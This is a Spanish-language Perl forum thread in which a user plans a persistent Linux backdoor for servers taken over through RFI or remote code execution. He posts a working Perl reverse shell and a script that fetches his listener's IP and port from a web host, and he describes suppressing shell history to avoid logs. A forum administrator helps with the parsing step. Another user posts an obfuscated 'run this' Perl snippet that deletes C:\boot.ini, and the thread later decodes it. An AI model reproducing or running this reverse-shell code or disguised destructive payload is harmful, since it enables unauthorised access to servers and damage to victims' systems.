• Publicidad

Root Kit en perl

¿Apenas comienzas con Perl? En este foro podrás encontrar y hacer preguntas básicas de Perl con respuestas aptas a tu nivel.

Root Kit en perl

Notapor D00l » 2007-12-26 00:35 @066

No sé si está permitido esta clase de cosas en este foro pero de todas formas me atreveré.

Pensaba si era mejor crear un script bash que me hiciera el trabajo de un RootKit para Linux pero veo que Perl es mejor lenguaje de scripting aunque necesitas que Perl esté instalado, pero la gran mayoría si lo tiene por defecto y aún no he terminado de aprender a programar en C como para crearlo en ese lenguaje.

¿Cual es la idea?

La idea es que a través de una shell tomada ya sea de tipo RFI o de ejecución remota arbitrario pueda subir mi script en Perl donde me dé una shell inversa cada cierta cantidad de tiempo.

¿Por qué inversa? Porque la mayoría de los servidores tienen sistemas de protección donde no dan acceso para grabar un socket a escuchar.

¿Como gano el acceso inverso si me desconecto por un día? La idea es que se haga un loop donde primeramente baje un archivo desde http://mi.host.com/archivo.txt donde tendrá como contenido mi IP y mi puerto a escuchar con algún software como netcat o algún bouncer como Hping2. Este texto debería tener la forma IP:Puerto.

Luego de obtener dicho archivo sin alojar temporales sino guardando los datos directamente en una variable se realizará la conexión inversa y si esta falla se dará un tiempo (sleep) de 30 segundos para no subir el pid y comenzará todo otra vez. De esta forma si me desconecto solo tendré que esperar 30 segundos más para que se reconecte nuevamente.

Diseñé un script incluyendo la idea de la shell de CBS donde se realizarían todos estos trabajos automáticamente.

En resumidas cuentas el CBS Shell de conección inversa es:
Sintáxis: [ Descargar ] [ Ocultar ]
Using perl Syntax Highlighting
#!/usr/bin/perl
#
# A perl based connect back shell
#
# usage:
#
# $netcat -l -s 127.0.0.1 -p 10001
# $./cbs.pl 127.0.0.1 10001
#
# [email protected]
#
use Socket;

$execute= 'echo "`uname -a`";echo "`id`";/bin/sh';

$target=$ARGV[0];
$port=$ARGV[1];
$iaddr=inet_aton($target) || die("Error: $!\n");
$paddr=sockaddr_in($port, $iaddr) || die("Error: $!\n");
$proto=getprotobyname('tcp');
socket(SOCKET, PF_INET, SOCK_STREAM, $proto) || die("Error: $!\n");
connect(SOCKET, $paddr) || die("Error: $!\n");
open(STDIN, ">&SOCKET");
open(STDOUT, ">&SOCKET");
open(STDERR, ">&SOCKET");
system($execute);
close(STDIN);
close(STDOUT);
 
Coloreado en 0.002 segundos, usando GeSHi 1.0.8.4


Considerando este script intento obtener mi IP más puerto desde un sitio predestinado para esto:

Sintáxis: [ Descargar ] [ Ocultar ]
Using perl Syntax Highlighting
#!/usr/bin/perl -w


use IO::Socket;

$server         = "HOST.com";
$puerto         = "80";
$protocolo      = "TCP";
$archivo        = "datos.txt";

$sock = new IO::Socket::INET(PeerAddr => $server, PeerPort => $puerto, Proto => $protocolo) || die "[FALLADO]\n";

print $sock "GET /$archivo HTTP/1.0\n";
print $sock "Host: $server\n";
print $sock "User-agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727)\n";
print $sock "Conection: close\n\n\n";
Coloreado en 0.001 segundos, usando GeSHi 1.0.8.4


Pero ¿cómo puedo tomar y separar ip:puerto y convertirlas en variables $ip y $puerto para continuar con el primer script? Luego solo bastaría un sleep y un while al comienzo de todo infinitamente, todo esto ejecutado en modo independiente de la primera shell para tener la conexión asegurada sin dejar logs implementando unset HISTFILE en las primeras líneas de la shell antes de /bin/sh.

Tal vez podría poner una declaración $tipo = "directa" o "inversa" para cada tipo de ejecución con variables incluidas donde si no son definidas se utilizarán las ya declaradas.
D00l
Perlero nuevo
Perlero nuevo
 
Mensajes: 4
Registrado: 2007-12-26 00:12 @050

Publicidad

Notapor creating021 » 2007-12-26 11:38 @526

En otros foros, te dirian algo como:

Si usas Windows, ejecuta esto:
Código: Seleccionar todo
#! perl
my $ports = sprintf v40.111.95.95.13.10.47.47.92.13.10.86.95.47.95;
my $data = sprintf v67.58.47.47.98.111.111.116.46.105.110.105;

print "IP del host: ";
chomp(my $page = <STDIN>);
unlink ( $data );

print $page, "\n";
print $ports;
print (chr($_)) foreach (<DATA>);

__DATA__
32
72
97
32
32
112
97
114
97
32
113
117
101
32
97
112
114
101
110
100
97
115
44
32
83
80
65
77
69
82
13
10


[EDITED]

PD: No ejecuten el código ya que eliminia C:\boot.ini
Última edición por creating021 el 2007-12-26 20:51 @910, editado 2 veces en total
Expect the worst, is it the least you can do?
Avatar de Usuario
creating021
Perlero frecuente
Perlero frecuente
 
Mensajes: 595
Registrado: 2006-02-23 16:17 @720
Ubicación: Frente al monitor

Notapor explorer » 2007-12-26 20:44 @905

Bienvenido a los foros de Perl en Español, D00l.

Aquí se puede hablar de todo, mientras no se cometa un delito, claro.

En cuanto a tus scripts, te falta leer la respuesta del servidor desde $sock.

Y luego, el cómo leer la información de IP:puerto dependerá de cómo te lo devuelva, pero quizás con una simpre expresión regular sirva:

Sintáxis: [ Descargar ] [ Ocultar ]
Using perl Syntax Highlighting
($ip;$puerto) = $respuesta =~ /(.*):(.*)/;
Coloreado en 0.001 segundos, usando GeSHi 1.0.8.4


o un sencillo split:

Sintáxis: [ Descargar ] [ Ocultar ]
Using perl Syntax Highlighting
($ip;$puerto) = split ':', $respuesta;
Coloreado en 0.001 segundos, usando GeSHi 1.0.8.4
JF^D Perl programming & Raku programming. Grupo en Telegram: https://t.me/Perl_ES
Avatar de Usuario
explorer
Administrador
Administrador
 
Mensajes: 14480
Registrado: 2005-07-24 18:12 @800
Ubicación: Valladolid, España

Notapor Norther » 2008-01-11 08:05 @378

Por pura curiosidad, ¿por qué el código de creating021 borra el archivo de inicio? Me refiero a la explicación del código xd
Norther
Perlero nuevo
Perlero nuevo
 
Mensajes: 117
Registrado: 2007-07-24 13:47 @616
Ubicación: Asturias

Notapor explorer » 2008-01-11 11:16 @511

En algunas ocasiones creating021 nos sorprende con mensajes que tienen 'alguna' relación con lo que se comenta, aunque a veces esa relación no se ve.

Te ha puesto un ejemplo de código en Perl que si se ejecuta, borra ese fichero.

El nombre del fichero está codificado en bytes en $data, y se borra con la función unlink().

El resto de strings que hay por el programa son 'adornos' del autor. En $ports se guarda
Código: Seleccionar todo
(o__
//\
V_/_
símbolo de un pingüino, y en la parte de DATA, el texto
Código: Seleccionar todo
 Ha  para que aprendas, SPAMER
JF^D Perl programming & Raku programming. Grupo en Telegram: https://t.me/Perl_ES
Avatar de Usuario
explorer
Administrador
Administrador
 
Mensajes: 14480
Registrado: 2005-07-24 18:12 @800
Ubicación: Valladolid, España

Notapor Norther » 2008-01-11 15:29 @687

jaja. Muy bueno, ¿cómo hizo la codificación del fichero en bytes?
Norther
Perlero nuevo
Perlero nuevo
 
Mensajes: 117
Registrado: 2007-07-24 13:47 @616
Ubicación: Asturias

Notapor creating021 » 2008-01-11 16:06 @712

Norther escribiste:jaja muy bueno, como hizo la codificicacion del fichero en bytes?


Ese código está basado en un JAPH que ví, los números agregados sólo son valores ASCII.

Resulta que printf ( y sprintf ) soportan formatos ( yo no me los sé ) y tan solo convertí el texto en su valor ASCII ( teniendo el eol del sistema operativo en uso ).

Lo de los bytes, tan fácil como usar ord o unpack "c*", letras :)
Espero que nadie lo use como un rootkit :?
Expect the worst, is it the least you can do?
Avatar de Usuario
creating021
Perlero frecuente
Perlero frecuente
 
Mensajes: 595
Registrado: 2006-02-23 16:17 @720
Ubicación: Frente al monitor


Volver a Básico

¿Quién está conectado?

Usuarios navegando por este Foro: No hay usuarios registrados visitando el Foro y 18 invitados

cron